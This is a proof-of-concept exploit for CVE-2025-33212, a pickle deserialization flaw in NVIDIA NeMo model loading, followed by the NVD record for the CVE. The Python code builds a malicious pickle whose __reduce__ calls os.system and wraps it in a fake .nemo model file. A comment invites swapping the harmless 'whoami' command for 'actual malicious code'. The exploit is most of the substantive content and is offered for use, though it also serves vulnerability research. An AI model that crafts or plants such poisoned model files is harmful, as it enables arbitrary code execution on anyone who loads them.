CVE-2025-33212

# CVE-2025-33212 PoC - Malicious NeMo Model File # This PoC demonstrates the model loading vulnerability in NVIDIA NeMo Framework # Usage: Load the generated malicious model file through NeMo Framework import pickle import os def create_malicious_model(): """ Create a malicious pickle-based payload that exploits improper control mechanisms in NeMo model loading. """ # Malicious class that executes code on unpickling class MaliciousModel: def __reduce__(self): # Code execution payload - replace with actual malicious code cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # Serialize the malicious object malicious_payload = pickle.dumps(MaliciousModel()) # Save as fake NeMo model file with open('malicious_nemo_model.nemo', 'wb') as f: f.write(b'NEMO_MODEL_V1\n') f.write(malicious_payload) print("Malicious model file created: malicious_nemo_model.nemo") def load_vulnerable_model(model_path): """ Simulates vulnerable NeMo model loading DO NOT run this on production systems """ try: with open(model_path, 'rb') as f: header = f.read(12) if header.startswith(b'NEMO_MODEL_V1'): # Vulnerable: Direct unpickling without validation payload = f.read() return pickle.loads(payload) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": create_malicious_model()

{"cve": {"id": "CVE-2025-33212", "sourceIdentifier": "[email protected]", "published": "2025-12-16T18:16:11.340", "lastModified": "2026-01-09T22:00:42.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo Framework contains a vulnerability in model loading that could allow an attacker to exploit improper control mechanisms if a user loads a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, denial of service, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.3", "matchCriteriaId": "E297F520-4E54-4230-8CFD-164A44DC1918"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33212", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5736", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33212", "source": "[email protected]", "tags": ["Technical Description"]}]}}